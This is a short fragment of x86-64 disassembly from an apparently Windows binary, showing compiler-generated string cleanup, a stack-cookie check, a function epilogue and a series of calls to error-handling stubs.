call fcn.1400b3f70
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], send
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x140038b02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038afd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d54
call fcn.1400b3f70
movdqa xmm0, xmmword [0x1400e52d0]
movdqu xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1b0], r12w
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140038b5b
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038b56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d5a
call fcn.1400b3f70
movdqa xmm0, xmmword [0x1400e52e0]
movdqu xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 7
jbe 0x140038bc0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038bb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d60
call fcn.1400b3f70
movdqa xmm0, xmmword [0x1400e52e0]
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], 7
mov word [rbp + 0x170], r12w
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140038c23
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038c16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d66
call fcn.1400b3f70
movdqa xmm0, xmmword [0x1400e52e0]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x140038c7b
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038c6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d6c
call fcn.1400b3f70
movdqa xmm0, xmmword [0x1400e52e0]
movdqu xmmword [rbp + 0x220], xmm0
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140038ccf
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038cc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038d0e
call fcn.1400b3f70
movdqa xmm0, xmmword [0x1400e52e0]
movdqu xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x190], 0
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.1400b3f50
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140097c38
nop
mov r8, rdi
lea rcx, str.status
call fcn.14002dbf0
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
int3
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
nop
call fcn.140097c38
int3